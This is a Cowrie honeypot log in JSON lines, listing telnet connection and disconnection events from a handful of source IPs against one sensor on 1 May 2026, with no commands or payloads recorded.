{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59948,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea96bc10aad","protocol":"telnet","message":"New connection: 147.135.136.77:59948 (159.203.135.109:23) [session: aea96bc10aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.265410Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":44128,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cb8e527436c","protocol":"telnet","message":"New connection: 37.187.24.227:44128 (159.203.135.109:23) [session: 8cb8e527436c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.487406Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52820,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b265fd3a8fa","protocol":"telnet","message":"New connection: 168.119.91.149:52820 (159.203.135.109:23) [session: 3b265fd3a8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.632561Z"}
{"eventid":"cowrie.session.closed","duration":31.113701581954956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.963160Z","src_ip":"168.119.91.149","session":"bef7da67243f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945556163787842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.025527Z","src_ip":"51.79.21.139","session":"c9b54945009e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52934,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc9f3befe96b","protocol":"telnet","message":"New connection: 168.119.91.149:52934 (159.203.135.109:23) [session: dc9f3befe96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.072886Z"}
{"eventid":"cowrie.session.closed","duration":31.014531135559082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.079607Z","src_ip":"81.30.157.18","session":"49a3522456aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59954,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dcfa6be0d5d","protocol":"telnet","message":"New connection: 147.135.136.77:59954 (159.203.135.109:23) [session: 8dcfa6be0d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.142705Z"}
{"eventid":"cowrie.session.closed","duration":31.061415195465088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.159067Z","src_ip":"81.30.157.18","session":"3955187fe8fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56428,"dst_ip":"159.203.135.109","dst_port":23,"session":"1801396f567a","protocol":"telnet","message":"New connection: 81.30.157.18:56428 (159.203.135.109:23) [session: 1801396f567a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.170382Z"}
{"eventid":"cowrie.session.closed","duration":31.083412408828735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.195099Z","src_ip":"147.135.136.77","session":"f368045a4573","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52956,"dst_ip":"159.203.135.109","dst_port":23,"session":"c770823b14ba","protocol":"telnet","message":"New connection: 168.119.91.149:52956 (159.203.135.109:23) [session: c770823b14ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.212779Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52968,"dst_ip":"159.203.135.109","dst_port":23,"session":"53e9d16533ee","protocol":"telnet","message":"New connection: 168.119.91.149:52968 (159.203.135.109:23) [session: 53e9d16533ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.221221Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56540,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4c837dc8445","protocol":"telnet","message":"New connection: 81.30.157.18:56540 (159.203.135.109:23) [session: e4c837dc8445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.577633Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.102.241.112","src_port":54554,"dst_ip":"159.203.135.109","dst_port":23,"session":"38b517180bca","protocol":"telnet","message":"New connection: 103.102.241.112:54554 (159.203.135.109:23) [session: 38b517180bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.643808Z"}
{"eventid":"cowrie.session.closed","duration":30.844037294387817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.796167Z","src_ip":"51.79.21.139","session":"c8c7e542c1c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.451062440872192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:41.997324Z","src_ip":"147.135.136.77","session":"dc6e0e7be31b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591049909591675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.027063Z","src_ip":"51.79.21.139","session":"4c57763e008e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60052,"dst_ip":"159.203.135.109","dst_port":23,"session":"11ddc1c74451","protocol":"telnet","message":"New connection: 147.135.136.77:60052 (159.203.135.109:23) [session: 11ddc1c74451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.035300Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60064,"dst_ip":"159.203.135.109","dst_port":23,"session":"c97d380f5a28","protocol":"telnet","message":"New connection: 147.135.136.77:60064 (159.203.135.109:23) [session: c97d380f5a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.059818Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60066,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ef6021c0e74","protocol":"telnet","message":"New connection: 147.135.136.77:60066 (159.203.135.109:23) [session: 3ef6021c0e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.070112Z"}
{"eventid":"cowrie.session.closed","duration":30.89140272140503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.096916Z","src_ip":"81.30.157.18","session":"7947e6b92997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49284863471985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.115125Z","src_ip":"51.79.21.139","session":"37382f7b237a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35254,"dst_ip":"159.203.135.109","dst_port":23,"session":"48de16d4b353","protocol":"telnet","message":"New connection: 51.79.21.139:35254 (159.203.135.109:23) [session: 48de16d4b353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.221937Z"}
{"eventid":"cowrie.session.closed","duration":31.897414684295654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.365640Z","src_ip":"168.119.91.149","session":"13a6260143b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49270,"dst_ip":"159.203.135.109","dst_port":23,"session":"837e3492cf13","protocol":"telnet","message":"New connection: 37.187.24.227:49270 (159.203.135.109:23) [session: 837e3492cf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.554569Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53258,"dst_ip":"159.203.135.109","dst_port":23,"session":"a830698f3fbc","protocol":"telnet","message":"New connection: 168.119.91.149:53258 (159.203.135.109:23) [session: a830698f3fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.646607Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58182,"dst_ip":"159.203.135.109","dst_port":23,"session":"350dfffc8bcc","protocol":"telnet","message":"New connection: 149.102.133.101:58182 (159.203.135.109:23) [session: 350dfffc8bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.737112Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53310,"dst_ip":"159.203.135.109","dst_port":23,"session":"735108dac1b2","protocol":"telnet","message":"New connection: 168.119.91.149:53310 (159.203.135.109:23) [session: 735108dac1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.887223Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56740,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9fe7aa15a43","protocol":"telnet","message":"New connection: 81.30.157.18:56740 (159.203.135.109:23) [session: f9fe7aa15a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:42.930678Z"}
{"eventid":"cowrie.session.closed","duration":30.41332983970642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.018843Z","src_ip":"51.79.21.139","session":"a42f1ecce657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.894184112548828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.024785Z","src_ip":"147.135.136.77","session":"8a211e064551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60190,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3ad19c03387","protocol":"telnet","message":"New connection: 147.135.136.77:60190 (159.203.135.109:23) [session: c3ad19c03387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.080729Z"}
{"eventid":"cowrie.session.closed","duration":30.206738710403442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.101473Z","src_ip":"37.187.24.227","session":"8d84691c334f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb55f8a8df9","protocol":"telnet","message":"New connection: 81.30.157.18:56778 (159.203.135.109:23) [session: fdb55f8a8df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.108509Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53358,"dst_ip":"159.203.135.109","dst_port":23,"session":"523b5476639f","protocol":"telnet","message":"New connection: 168.119.91.149:53358 (159.203.135.109:23) [session: 523b5476639f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.117670Z"}
{"eventid":"cowrie.session.closed","duration":30.412204027175903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.123167Z","src_ip":"149.102.133.101","session":"97e471dd8873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50764,"dst_ip":"159.203.135.109","dst_port":23,"session":"692b0e32d1c1","protocol":"telnet","message":"New connection: 37.187.24.227:50764 (159.203.135.109:23) [session: 692b0e32d1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.232664Z"}
{"eventid":"cowrie.session.closed","duration":31.048125743865967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.238656Z","src_ip":"147.135.136.77","session":"0b56ac5217d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56814,"dst_ip":"159.203.135.109","dst_port":23,"session":"c64a17659388","protocol":"telnet","message":"New connection: 81.30.157.18:56814 (159.203.135.109:23) [session: c64a17659388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.288545Z"}
{"eventid":"cowrie.session.closed","duration":31.324326753616333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.395263Z","src_ip":"81.30.157.18","session":"e0e5c3e3a857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371014833450317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.469847Z","src_ip":"168.119.91.149","session":"f0a4973bce73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1368408203125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.490621Z","src_ip":"168.119.91.149","session":"10ea734cba29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825467109680176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.526423Z","src_ip":"168.119.91.149","session":"d50861df69d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60156,"dst_ip":"159.203.135.109","dst_port":23,"session":"60d502f22d9e","protocol":"telnet","message":"New connection: 147.135.136.77:60156 (159.203.135.109:23) [session: 60d502f22d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.628827Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56906,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67589b7774c","protocol":"telnet","message":"New connection: 81.30.157.18:56906 (159.203.135.109:23) [session: c67589b7774c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.663812Z"}
{"eventid":"cowrie.session.closed","duration":31.13810443878174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:43.986144Z","src_ip":"147.135.136.77","session":"5865ef65279a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34321117401123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.025276Z","src_ip":"51.79.21.139","session":"d4ee92dddc5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36320972442627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.030257Z","src_ip":"51.79.21.139","session":"45340589606c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53492,"dst_ip":"159.203.135.109","dst_port":23,"session":"09068f6200c3","protocol":"telnet","message":"New connection: 168.119.91.149:53492 (159.203.135.109:23) [session: 09068f6200c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.080555Z"}
{"eventid":"cowrie.session.closed","duration":30.575014352798462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.086263Z","src_ip":"81.30.157.18","session":"257fb288913f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33728,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bdb15f095a8","protocol":"telnet","message":"New connection: 81.30.157.18:33728 (159.203.135.109:23) [session: 0bdb15f095a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.094666Z"}
{"eventid":"cowrie.session.closed","duration":30.89314365386963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.128456Z","src_ip":"51.79.21.139","session":"d080b6b4f588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65628409385681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.134534Z","src_ip":"46.101.32.143","session":"3442ca478013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60280,"dst_ip":"159.203.135.109","dst_port":23,"session":"329b8480e774","protocol":"telnet","message":"New connection: 147.135.136.77:60280 (159.203.135.109:23) [session: 329b8480e774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.187020Z"}
{"eventid":"cowrie.session.closed","duration":31.273608446121216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.320801Z","src_ip":"147.135.136.77","session":"9b67cffbb1ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33788,"dst_ip":"159.203.135.109","dst_port":23,"session":"882e5790d824","protocol":"telnet","message":"New connection: 81.30.157.18:33788 (159.203.135.109:23) [session: 882e5790d824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.550832Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47050,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b89adc53031","protocol":"telnet","message":"New connection: 51.79.21.139:47050 (159.203.135.109:23) [session: 4b89adc53031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.829272Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33868,"dst_ip":"159.203.135.109","dst_port":23,"session":"25b3c29a819e","protocol":"telnet","message":"New connection: 81.30.157.18:33868 (159.203.135.109:23) [session: 25b3c29a819e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:44.911849Z"}
{"eventid":"cowrie.session.closed","duration":30.942163705825806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.019307Z","src_ip":"51.79.21.139","session":"852f9afcbbac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954894542694092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.040395Z","src_ip":"147.135.136.77","session":"3267d1550504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60474,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e9628b57b47","protocol":"telnet","message":"New connection: 147.135.136.77:60474 (159.203.135.109:23) [session: 5e9628b57b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.052587Z"}
{"eventid":"cowrie.session.closed","duration":30.945915699005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.058603Z","src_ip":"37.187.24.227","session":"a8f93f15b4bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60484,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab3134aa4baa","protocol":"telnet","message":"New connection: 147.135.136.77:60484 (159.203.135.109:23) [session: ab3134aa4baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.066803Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":60672,"dst_ip":"159.203.135.109","dst_port":23,"session":"26ff5bff9c2a","protocol":"telnet","message":"New connection: 46.101.32.143:60672 (159.203.135.109:23) [session: 26ff5bff9c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.070844Z"}
{"eventid":"cowrie.session.closed","duration":31.082836627960205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.075615Z","src_ip":"147.135.136.77","session":"828e35a077df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53726,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c71ab73e87e","protocol":"telnet","message":"New connection: 168.119.91.149:53726 (159.203.135.109:23) [session: 7c71ab73e87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.089333Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60500,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bfffd3e85c5","protocol":"telnet","message":"New connection: 147.135.136.77:60500 (159.203.135.109:23) [session: 9bfffd3e85c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.093983Z"}
{"eventid":"cowrie.session.closed","duration":30.962616682052612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.140261Z","src_ip":"147.135.136.77","session":"8b96596cac64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60522,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c907c8a838c","protocol":"telnet","message":"New connection: 147.135.136.77:60522 (159.203.135.109:23) [session: 9c907c8a838c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.160389Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53740,"dst_ip":"159.203.135.109","dst_port":23,"session":"f32551efd7b3","protocol":"telnet","message":"New connection: 168.119.91.149:53740 (159.203.135.109:23) [session: f32551efd7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.187388Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53776,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2e803a8472","protocol":"telnet","message":"New connection: 168.119.91.149:53776 (159.203.135.109:23) [session: 4c2e803a8472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.284702Z"}
{"eventid":"cowrie.session.closed","duration":30.196218252182007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.470379Z","src_ip":"168.119.91.149","session":"79e49eb726fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.581828594207764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.480504Z","src_ip":"168.119.91.149","session":"510c00819cb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43309760093689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.485826Z","src_ip":"168.119.91.149","session":"d953679e6aeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949556350708008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.513439Z","src_ip":"168.119.91.149","session":"8476657d7023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33962,"dst_ip":"159.203.135.109","dst_port":23,"session":"1968f6473aa5","protocol":"telnet","message":"New connection: 81.30.157.18:33962 (159.203.135.109:23) [session: 1968f6473aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.519010Z"}
{"eventid":"cowrie.session.closed","duration":30.45892095565796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.524738Z","src_ip":"168.119.91.149","session":"35c2085480db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8050594329834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.605836Z","src_ip":"168.119.91.149","session":"213521d11b58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184743404388428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.724722Z","src_ip":"81.30.157.18","session":"a88215d71e1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.69643187522888,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:45.746090Z","src_ip":"69.65.3.189","session":"c459b4416c18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60082,"dst_ip":"159.203.135.109","dst_port":23,"session":"597c662fa16f","protocol":"telnet","message":"New connection: 147.135.136.77:60082 (159.203.135.109:23) [session: 597c662fa16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.072976Z"}
